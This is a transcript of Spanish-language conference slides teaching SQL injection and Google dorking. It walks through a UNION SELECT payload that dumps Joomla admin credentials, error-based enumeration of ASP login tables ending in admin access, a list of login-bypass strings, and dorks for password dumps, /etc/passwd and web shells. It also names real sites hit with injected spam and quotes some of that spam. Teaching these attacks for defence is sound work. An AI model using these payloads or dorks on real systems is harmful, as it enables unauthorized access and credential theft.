Post on 01-Jan-2017
transcript
Intrusión Web: Google Dorks e Inyección Sql
20-Marzo-2015II Jornadas de Prevención del
Fraude y el Cibercrimen
El Hacking Ético es Delito
Inyección SQL en Páginas Web
2
• Artículo 197.3 C.P.
El que por cualquier medio o procedimiento y vulnerando las medidas de seguridad establecidas para impedirlo, acceda sin autorización a datos o programas informáticos contenidos en un sistema informático o en parte del mismo o se mantenga dentro del mismo en contra de la voluntad de quien tenga el legítimo derecho a excluirlo, será castigado con pena de prisión de seis meses a dos años.
Libertad de Cátedra
Inyección SQL en Páginas Web
3
• La libertad de cátedra es uno de los derechos incluidos dentro del derecho humano o fundamental de Libertad académica.
• Es el derecho a ejercer la docencia, en el ámbito de la Educación Superior, con absoluta libertad, es decir, es "la libertad de enseñar y debatir sin verse limitado por doctrinas instituidas".
• La libertad de llevar a cabo investigaciones y difundir y publicar los resultados de las mismas, la libertad de expresar libremente su opinión sobre la institución o el sistema en que trabaja, la libertad ante la censura institucional y la libertad de participar en órganos profesionales u organizaciones académicas representativas.
¿Qué es Inyección SQL?
Inyección SQL en Páginas Web
4
• Es un método de infiltración de código SQL• Aprovecha vulnerabilidades de diseño en código web• Afecta a cualquier lenguaje que use SqlQueries• Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
PELIGRO!!!!Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%
RESULTADO:SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
¿Qué fines alberga?
Inyección SQL en Páginas Web
5
• Casi ninguno bueno• Introducción de código adaware malicioso• Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.• Sólo se salva el Hacking Ético
EJEMPLO:HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY ZIP ...
¿Por qué ocurre esto?
Inyección SQL en Páginas Web
6
• Mal diseño del código de consulta SQL• Utilización de código estándar no contrastado• Ausencia de actualización de directivas de Seguridad CMS• Inexistencia de seguimiento de la vida de la página web
• Carencia de responsables en seguridad informática.
Algunas páginas infectadas
Inyección SQL en Páginas Web
7
• Universidades• Páginas oficiales de partidos políticos• Páginas oficiales de Ayuntamientos• Páginas web corporativas y particulares, etc.
El más Famoso: La Viagra
Inyección SQL en Páginas Web
8
Ejemplos interesantes
Inyección SQL en Páginas Web
9
Universidad de Salamancahttp://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea
Ejemplos interesantes
Inyección SQL en Páginas Web
10
Universidad de Extremadurahttp://matematicas.unex.es/~brequejo/
Ejemplos interesantes
Inyección SQL en Páginas Web
11
Página del Partido Socialistahttp://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
Ejemplos interesantes
Inyección SQL en Páginas Web
12
Página del Partido Socialistahttp://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
Ejemplos interesantes
Inyección SQL en Páginas Web
13
Página de Unión, Progreso y Democracia
Ejemplos interesantes
Inyección SQL en Páginas Web
14
Página de Unión, Progreso y Democracia
Ejemplos interesantes
Inyección SQL en Páginas Web
15
Página de Unión, Progreso y Democracia<div class="runningtext_x"><p>Instead you a recurring final step in certain no fax payday cash advance <a href="http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com" title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com" title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific generalization of extension.</p></div>
¿Cómo se hace Sqlinjection?
Inyección SQL en Páginas Web
16
• Se buscan vulnerabilidades en los CMS más populares
• Joomla es el “Rey de Reyes”• Tampoco se libra Wordpress• Ni Drupal, ni Moodle….
• Cualquier sitio web en interesante; incluso el tuyo!!:• Es el mejor laboratorio de prácticas• Hay miles de páginas web esperando
¿Cómo se hace Sqlinjection?
Inyección SQL en Páginas Web
17
• Se buscan páginas web de CMS no actualizadas
• Los “ciberdelincuentes buenos”, buscan “0 Days”
• Se inyecta código sql en los campos de captura de datos para provocar una respuesta no contemplada:
USER | PASSWORD
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
18
• Joomla 3.2.2• Fallo detectado en febrero de 2014• Afectaba al propio núcleo de Joomla• Por tanto funcionaba en todas las versiones anteriores• Buscaba el error en la validación de parámetros web• El error estaba tras consultar el “Weblinks-categories”
• El objetivo es provocar que Joomla nos muestre su código fuente para sacar lo más importante:
USER | PASSWORD
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
19
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
20
Una instrucción “Normal”:http://URL/index.php/weblinks-categories?id=1
http://URL/index.php/weblinks-categories?id=X
Resultado:
SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X)
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
21
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
22
ATENTOS AHORA:
Este error anterior nos ha mostrado una información muy valiosa:El prefijo de las Tablas de la base de datos
...INNER JOIN `ls41c_contentitem_tag_map` ...
Como vemos, en nuestro caso es ls41c
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
23
Aprovechemos este error para hacer nuestra consulta:
• Consultamos a la Tabla de Usuarios (ls41c_users):• Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password
http://URL/index.php/weblinks-categories?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- )
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
24
Esto genera un nuevo error:
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
25
Veámoslo con detalle:
El usuario es adminLa clave está encriptada con un HASH MD5
Ejemplos de Sqlinjection
Inyección SQL en Páginas Web
26
Sólo nos resta “Deshacer” el MD5:• Mediante la búsqueda de la cadena por internet• Utilizando páginas web para descifrarlo
• www.md5online.es
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
27
Mediante el uso de operadores en los campos de texto
En los campos de consulta de datosEn los campos de Usuario y ContraseñaEn cualquier campo que permita introducir datos
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
28
En la pantalla de Autenticación se nos piden los datos de acceso
El código interno que se ejecuta suele ser algo parecido a:
Select id from tabla_usuarioswhere usuario='$usuario' and pass='$pass';
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
29
¿Pero qué pasa si provocamos el error?
Select id from tabla_usuarioswhere usuario=' 'or '1'='1 ' and pass=''or '1'='1';
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
30
Ejemplo
http://www.XXXX.co.in/Attendance/adminlogin.asp
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
31
Introducimos la instrucción ' OR '1'='1
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
32
Y “Voila!!!”
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
33
Ataques a Logins ASP
Comando Dork: inurl:login.asp
En los campos de acceso tecleamos ' having 1= 1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
34
Ataques a Logins ASP
Comando Dork: inurl:login.asp
En las páginas vulnerables se producirá el siguiente error:
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
35
Ataques a Logins ASP
Comando Dork: inurl:login.asp
El Error anterior nos dio el nombre de la tabla y la columna:
Ingresamos ' group by Usuario.Clave having 1 = 1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
36
Ataques a Logins ASP
Comando Dork: inurl:login.asp
El Error anterior nos dio un nuevo dato de la tabla y la columna:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
37
Ataques a Logins ASP
Comando Dork: inurl:login.asp
Ya tenemos el nombre de la Tabla y la Columna “usuario.clave_de_acceso”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
38
Ataques a Logins ASP
Comando Dork: inurl:login.asp
Ya tenemos la Tabla y la Columna “usuario.password”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
39
Ataques a Logins ASP
Comando Dork: inurl:login.asp
La siguiente tabla es “usuario.Tipo_De_Usuario”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
40
Ataques a Logins ASP
Comando Dork: inurl:login.asp
La siguiente tabla es “usuario.Punto_De_Captura”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
41
Ataques a Logins ASP
Comando Dork: inurl:login.asp
La siguiente tabla es “Usuario.ESTATUS”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--
No arroja más Resultados y vuelve al punto de Login
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
42
Ataques a Logins ASP
Comando Dork: inurl:login.asp
Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'—
Tantos 1 como tablas hemos encontrado!!
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
43
Ataques a Logins ASP
Comando Dork: inurl:login.asp
Ya tenemos al Usuario de Administración:
Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--
Ya tenemos la Clave!
Otras formas de Sqlinjection
Inyección SQL en Páginas Web
44
Ya tenemos Acceso a la Web como administrador
Otros parámetros de Sqlinjection
Inyección SQL en Páginas Web
45
Pueden hacerse otros tipos de consultas
‘ or 1=1 – 1'or’1'=’1 admin’– ” or 0=0 – or 0=0 – ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’='x ” or “x”=”x ‘) or (‘x’='x ‘ or 1=1–
” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’='a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 – hi’ or 1=1 – hi’ or ‘a’='a hi’) or (‘a’='a hi”) or (“a”=”)
Los «Dorks»: Google Hacking
Inyección SQL en Páginas Web
46
• ¿Qué es un Dork?
• Google dorks son combinaciones de operadores, o comandos de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google.
• También se les denomina GoogleDorks• Existen multitud de páginas web donde se muestran los
comandos Dork de Google• La más famosa:
http://www.exploit-db.com/google-dorks/
Los «Dorks» más típicos
Inyección SQL en Páginas Web
47
• Site:• Site:nombrededominio.extension «cadena a buscar»
• Filetype:• filetype:extensión «nombredelfichero»
• Inurl:• Inurl:”página a buscar”
• intitle:• Intitle: “témino a buscar”
• Intext:• Intext:”Texto a buscar dentro de un fichero”
• Link:• Link: “enlace web a buscar
Los «Dorks» más típicos
Inyección SQL en Páginas Web
48
• Site:• Site:nombrededominio.extension «cadena a buscar»
site:usal.es "azithromycin“
Nos devolverá todas las páginas pertenecientes al Dominio Usal.es que contengan el término “azithromycin”
Los «Dorks» más típicos
Inyección SQL en Páginas Web
49
• Filetype:• filetype:extensión «nombredelfichero»
filetype:sql “# dumping data for table” “`PASSWORD` varchar”
Busca peticiones de contenido en ficheros con extensión “XXX”
Los «Dorks» más típicos
Inyección SQL en Páginas Web
50
• Inurl:• Inurl:”Texto a buscar”
inurl:webarch/mainframe.cgiinurl:intranet filetype:doc confidential
• La primera instrucción busca impresoras de red• La segunda instrucción busca documentos confidenciales
dentro de una intranet
Los «Dorks» más típicos
Inyección SQL en Páginas Web
51
• Intext:• Intext:”Texto a buscar dentro de un fichero”
filetype:php intext:"!C99Shell v. 1.0 beta"
Busca ficheros php que gestionen la Shell C99; C99 es una consola de gestión vía Web
Los «Dorks» más típicos
Inyección SQL en Páginas Web
52
• Link:• Link: “enlace web a buscar
Link:elpais.com
Muestra un listado de páginas web que contienen el link de la revista.
Los «Dorks» más típicos
Inyección SQL en Páginas Web
53
• Combinaciones• inurl:"/root/etc/passwd" intext:"home/*:“• inurl:/administrator/index.php?autologin=1• filetype:xls "username | password"
Veamos algunos Resultados
Inyección SQL en Páginas Web
54